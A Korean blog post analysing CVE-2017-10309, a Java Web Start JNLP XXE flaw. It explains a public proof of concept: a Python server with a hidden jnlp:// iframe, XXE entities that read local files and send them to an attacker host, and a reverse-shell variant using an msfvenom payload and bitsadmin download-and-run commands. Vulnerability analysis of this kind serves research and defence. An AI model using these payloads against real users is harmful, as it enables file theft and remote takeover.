[EXPLOIT] JAVA SE Web start JNLP XXE 취약점 분석(CVE-2017-10309, feat Metasploit)

요즘 시간내기가 왜이리 어려운건지.. 덕분에 오랜만에 취약점 분석글을 작성하네요. 오늘은 지난 10월 말 공개된 JAVA SE 관련 XXE 취약점에 대해 이야기할까 합니다.

Vulnerability Metrics

JAVA SE 8 버전 u131 빌드 이전에 발생하는 취약점입니다. XXE를 통해 파일 탈취, SSRF, 코드실행(환경에 따라) 등 여러가지 공격이 가능합니다.

v8u131

보편적으로 XXE 취약점은 서버단에서 동작하는 케이스가 많습니다만 이 취약점의 경우 클라이언트단 코드 실행으로 사용자를 대상으로한 웹 기반 공격에 사용될 수 있습니다.

CVSS로 풀어보면 아래와 같습니다.

CIA: P/P/P Access Vector: network Access Complexity: medium Auth: none (AV:N/AC:M/Au:N/C:P/I:P/A:P)

XXE이기 때문에 영향력은 확실하네요.

JNLP?

Java Network Launch Protocol(JNLP)의 약자로 원격지의 웹 서버에서 돌아가고 있는 응용프로그램에 대해 명령을 전달하는 프로토콜입니다. Java 플러그인이나 JWS(Java Web Start)에서도 사용되고 있죠.

https://docs.oracle.com/javase/tutorial/deployment/deploymentInDepth/jnlp.html

JNLP API

  • FileOpenService API
  • FileSaveService API
  • ClipboardService API
  • PrintService API
  • PersistenceService API
  • DownloadService API
  • DownloadServiceListener API
  • SingleInstanceService AP
  • ExtendedService API

자세한 내용은 https://docs.oracle.com/javase/8/docs/jre/api/javaws/jnlp/javax/jnlp/package-summary.html 참조

JNLP는 Registry(HKEY_CLASSES_ROOT\jnlp\Shell\Open\Command\Default)에 등록된 jp2launcher.exe 를 사용해서 동작하고, 대체로 jre/bin 아래 존재합니다.

C:\Program Files\Java\jre1.8.0_131\bin\jp2launcher.exe” -securejws “%1”

재미있는건 JRE가 JNLP 프로토콜을 만날 때 별도의 커스텀 프로토콜 등록 과정(아마 JRE 설치 시 포함됬을 것 같네요)이 없어도 동작이 가능하다는 점입니다. 예를들면..

<iframe src="jnlp://192.168.56.101/test.jnlp"></iframe>

이런 구문이 웹상에서 있을 때 웹 브라우저는 jnlp 프토토콜을 통해 192.168.56.101 서버와 통신을 하게됩니다. 그럼 의문이 생기겠죠? 이게 왜 위험하게 된걸까?

Vulnerability

JNLP는 XML을 파싱하여 명령을 수행합니다. 공식홈에서 제공하는 코드를 보면 XML 안에 태그로 선언이 이루어집니다. 그 안에 각각 태그로 어플리케이션에 대한 정보를 넘겨주고, 응답을 받은 Java SE(Client)는 이 요청에 따라 명령을 수행하게됩니다.

<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0+" codebase="" href="">
    <information>
        <title>Dynamic Tree Demo</title>
        <vendor>Dynamic Team</vendor>
        <icon href="sometree-icon.jpg"/>
        <offline-allowed/>
    </information>
    <resources>
        <!-- Application Resources -->
        <j2se version="1.6+" href=
           "http://java.sun.com/products/autodl/j2se"/>
        <jar href="DynamicTreeDemo.jar"
            main="true" />

    </resources>
    <application-desc
         name="Dynamic Tree Demo Application"
         main-class="webstartComponentArch.DynamicTreeApplication"
         width="300"
         height="300">
     </application-desc>
     <update check="background"/>
</jnlp>

여기서 봐야할부분은 XML을 이용한 통신입니다. 예전이나 지금이나 XML에 관련된 공격 기법은 자꾸 늘어나고 있고 현재 웹 공격의 메타인 XXE까지 시도해볼 수 있는 부분들이 많이 있겟지요.

코드 보기에 앞서 JWS의 동작 순서만 조금 정리해봅시다.

  1. 클라이언트의 웹 브라우저가 JWS App내 JNLP 프로토콜(jnsp://~~)로 접근
  2. 웹 서버는 요청하는 JNLP 파일을 반환(해당 데이터는 XML)
  3. 클라이언트는 JNLP 파일에 있는 Jar 파일의 경로를 참조하여 다운로드 후 main 메소드 호출
  4. Java App 구동 시작

정상적인 JWS<->JNLP 구동은 이런 순서로 이루어집니다. 이 취약점에서는 3번 항목에 ENTITY 구문을 넣어 XXE로 구동 시킨 경우입니다.

  1. 클라이언트의 웹 브라우저가 JWS App내 JNLP 프로토콜(jnsp://~~)로 접근
  2. 웹 서버는 요청하는 JNLP 파일을 반환(해당 데이터는 XML)
  3. 클라이언트는 JNLP 파일에 있는 Jar 파일의 경로를 참조하여 다운로드 후 main 메소드 호출
    • 구문을 통해 공격자가 원하는 동작 수행
    • 여기부턴 일반적인 XXE 구문과 동일
  4. Java App 구동 시작

실제 공격코드는 ..

<!ENTITY %% data SYSTEM "file:///%s">
<!ENTITY %% param1 "<!ENTITY &#x25; exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">

이런식으로 구성되고 윗줄은 %s(파라미터값 중 파일이름)를 읽어 파일을 가져오고 그 내용을 data 에 저장한 후 다음 구문에서 원격지 주소(공격자)로 data 값을 포함한 GET 요청을 던지도록 구성되어있습니다.

XXE를 이용해서 파일 내용을 탈취하는 구문으로 보시면 됩니다.

자 이제 PoC 코드를 볼까요?

PoC Code

정말 아주 단순합니다. 페이지 자체에 jnlp를 사용해서 링크를 걸고 해당 데이터엔 XXE 구문을 넣어주기만 하면 끝이죠. 공개된 PoC에선 파일을 읽어 공격자에게 전송하는 코드로 만들었네요.

전체 코드(https://www.exploit-db.com/exploits/43103/ )

def do_GET(self) 함수로 웹 요청을 처리합니다. URI Path 값을 기준으로 if로 분기해서 각각 때에 맞는 동작을 수행하지요.

/leaked

        if "leaked" in self.path:
            print "(+) stolen: %s" % self.path.split("?")[1]
            self.send_response(200)
            self.end_headers()

leaked 부분은 흐름상 마지막 부분입니다. XXE롤 통해 넘어온 정보(파일의 내용)을 받아 공격자 서버로 print 해줍니다.

/

        elif self.path == "/":
            print "(!) firing webstart..."
            self.send_response(200)
            self.end_headers()
            message = """
            <html>
            <body>
            <iframe src="jnlp://%s:9090/%s" style="width:0;height:0;border:0; border:none;"></iframe>
            </body>
            </html>
            """ % (ip, path)
            self.wfile.write(message)
            self.wfile.write('\n')

/ 는 첫 호출 시 iframe으로 jnlp 프로토콜을 호출하는 과정입니다. 다만 jnlp 프로토콜을 호출해서 동작할 수 있는 태그들에 대해 테스트좀 해봐야할 것 같네요. iframe, object, embed 는 될 것 같고.. img나 이런 범용적인 친구들중에 나오면 나이스일듯

/si.xlm

        elif "si.xml" in self.path:
            print "(!) downloading si.xml..."
            self.send_response(200)
            self.end_headers()
            message = """
            <!ENTITY %% data SYSTEM "file:///%s">
            <!ENTITY %% param1 "<!ENTITY &#x25; exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">
            """ % (file, ip)
            self.wfile.write(message)
            self.wfile.write('\n')

si.xml을 호출하는 과정은 jnlp 코드가 로드된 이후입니다. jnlp 프로토콜로 si.xml을 호출하게 되고 여기에는 실제 공격구문이 들어가게 되죠.

Other

        elif path in self.path:
            print "(!) downloading jnlp..."
            self.send_response(200)
            self.end_headers()
            message = """
            <?xml version="1.0" ?>
            <!DOCTYPE r [
            <!ELEMENT r ANY >
            <!ENTITY %% sp SYSTEM "http://%s:9090/si.xml">
            %%sp;
            %%param1;
            %%exfil;
            ]>
            """ % ip
            self.wfile.write(message)
            self.wfile.write('\n')
        return

jnlp 코드가 호출되면 XXE 코드를 통해 payload가 담긴 진짜 XXE 코드를 불러오게 됩니다.

Exploit

#> python exp.py ‘C:/Program Files/Java/jre7/README.txt’

Oracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability mr_me 2017

(+) select your interface: lo, wlp1s0, enx00e04c560cd5, docker0: enx00e04c560cd5 jnlp://192.168.56.1:9090/yapjayuflm.jnlp (+) starting xxe server… (+) have someone with Java SE installed visit: http://192.168.56.1:9090/ (!) firing webstart…

Poc 구동 시 웹 서버가 활성화되고(파이썬) 9090 포트를 열어 요청에 대기합니다. 클라이언트 접근 시

jnlp 프로토콜을 주소로하는 iframe 코드를 생성하여 사용자로 하여금 해당 페이지에 접근하게 합니다. jnlp 프로토콜이기 때문에 jnlp 파일을 다운로드하고 그 안에 xml 코드를 실행하게 되죠.

xml가 정상적으로 실행되면 내부에 있던 XXE 구문으로 인해 공격자가 지정한 파일의 값을 읽어 공격자 콘솔로 넘겨줍니다.

<!ENTITY %% data SYSTEM "file:///%s">
<!ENTITY %% param1 "<!ENTITY &#x25; exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">

README.txt 파일을 잘 읽어왔네요.

Other scenario

사용자 대상 공격이라 아마 거의 없을 듯 하지만.. 혹시라도 php와 expect 모듈이 깔려있다면 쉽게 쉘까지 획득 가능할겁니다.

먼저 payload 파일을 만들어줍니다.

#> hvenom -a x86 –platform windows -p windows/shell/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai -f exe -o p.exe Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai chosen with final size 360 Payload size: 360 bytes Final size of exe file: 73802 bytes Saved as: p.exe

그리고 공격구문엔 p.exe를 다운로드 하는 구문과 실행하는 구문을 넣어 XXE가 동작할때 payload를 실행하도록 합니다.

<!ENTITY test SYSTEM "expect://bitsadmin /transfer get http://192.168.56.1/p.exe %cd%p.exe">
<!ENTITY test SYSTEM "expect://start p.exe">

※ 여기서 팁 하나, 윈도우에서 파워쉘을 사용하지 않아도 bitsadmin 명령으로도 파일 다운로드가 가능합니다.

자 이제 handler 돌려주시고..

HAHWUL exploit(handler) > exploit -z [*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.56.1:4444

XXE를 동작시켜보면

Reference

https://www.exploit-db.com/exploits/43103/ https://docs.oracle.com/javase/tutorial/deployment/deploymentInDepth/jnlp.html https://docs.oracle.com/javase/8/docs/jre/api/javaws/jnlp/javax/jnlp/package-summary.html